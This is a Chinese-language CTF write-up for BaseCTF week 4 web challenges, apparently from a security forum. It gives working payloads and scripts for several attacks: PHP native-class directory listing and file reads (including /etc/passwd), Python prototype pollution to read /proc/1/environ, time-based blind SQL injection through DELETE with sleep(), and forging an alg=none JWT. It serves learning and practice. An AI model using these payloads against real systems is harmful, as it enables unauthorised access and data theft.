BaseCTF week4(web)
1315609050541697 发表于 湖北 CTF 1043浏览 · 2024-09-05 06:42

flag直接读取不就行了?

源码如下

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);

foreach($dir as $f) {
    echo($f . '<br>');
}

echo new $J1ng($Hong);

?>

php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;

  1. 目录遍历类——DirectoryIterator 可输出指定目录的第一个文件;DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
    ​​
<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}

payload:?XINO=glob:///*      #列出根目录下所有文件

  1. 文件读取类——SplFileObject 可读取指定文件的内容;平常读取只能读取一行,要全部读取需要对内容进行遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

该题如下传payload

?K=DirectoryIterator&W=glob:///secret/*

POST:J=SplFileObject&H=/secret/f11444g.php

成功读取flag文件名和flag

圣钥之战1.0

源码如下

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v

        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



def is_json(data):

    try:
        json.loads(data)
        return True
    except ValueError:
        return False



class cls():
    def __init__(self):
        pass


instance = cls()

@app.route('/', methods=['GET', 'POST'])

def hello_world():
    return open('/static/index.html', encoding="utf-8").read()


@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:

        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':

    app.run(host='0.0.0.0',port=80)

通过file属性直接读取环境变量

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在read路由,可以读取__file__

那么我们污染全局变量__file__即可读取flag

{"__init__":{"__globals__":{"__file__":"/proc/1/environ"}}}

only one sql

可以看到部分关键词已经被禁用,只能执行一句sql语句

其中select被禁用,无法通过常规查询来查询flag的值

首先使用show tables查询所有表,可以看到flag表

sql=show tables

![[7d4ae62102e3e3cb3913ff37815ff59d.png]]
接着查字段

sql=show columns from flag

![[ea79ee184c56b394348ad4367ba03dd3.png]]

由于禁用了selet我们可以通过delet语句来盲注

使用语句delete from flag where data like 'f%' and sleep(5)来进行注入,如果like成功匹配到,and字段会对后面的语句进行处理,使用模式匹配 如果like匹配不到(返回false)and后语句则不会进行处理,因为sleep()函数返回值为null,因此整个where的判断永假

脚本如下

import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://your.website/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
    for c in sqlstr:
        payload = url +flag+ c + end
        try:
            r = requests.get(payload,timeout=4)
        except:
            print(flag+c)
            flag+=c
            break

No JWT

考察知识:
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

题目给的源码如下:

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))


# 登录接口

@app.route('/login', methods=['POST'])

def login():

    data = request.json

    username = data.get('username')

    password = data.get('password')



    # 其他用户都给予 user 权限

    token = jwt.encode({

            'sub': username,

            'role': 'user',  # 普通用户角色

            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)

        }, app.secret_key, algorithm='HS256')

    return jsonify({'token': token}), 200



# flag 接口

@app.route('/flag', methods=['GET'])

def flag():

    token = request.headers.get('Authorization')

    if token:

        try:

            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})

            # 检查用户角色是否为 admin

            if decoded.get('role') == 'admin':

                with open('/flag', 'r') as f:

                    flag_content = f.read()

                return jsonify({'flag': flag_content}), 200

            else:

                return jsonify({'message': 'Access denied: admin only'}), 403

        except FileNotFoundError:

            return jsonify({'message': 'Flag file not found'}), 404

        except jwt.ExpiredSignatureError:

            return jsonify({'message': 'Token has expired'}), 401

        except jwt.InvalidTokenError:

            return jsonify({'message': 'Invalid token'}), 401

    return jsonify({'message': 'Token is missing'}), 401



if __name__ == '__main__':

    app.run(debug=True)

我们需要把role字段改为admin

但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成
脚本如下

import jwt
# payload

token_dict = {

  "sub": "Goku",

  "role": "admin",

  "exp": 1725693437

}



headers = {

  "alg": "none",

  "typ": "JWT"

}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体

                       "",  # 进行加密签名的密钥

                       algorithm="none",  # 指明签名算法方式, 默认也是HS256

                       headers=headers

                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)

                       )



print(jwt_token)

注意头字段

Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJHb2t1Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI1NjkzNDM3fQ.

Back to the future

使用windows的GitHacker命令提取出git
直接查看commit的内容

git show

0 条评论
某人
表情
可输入 255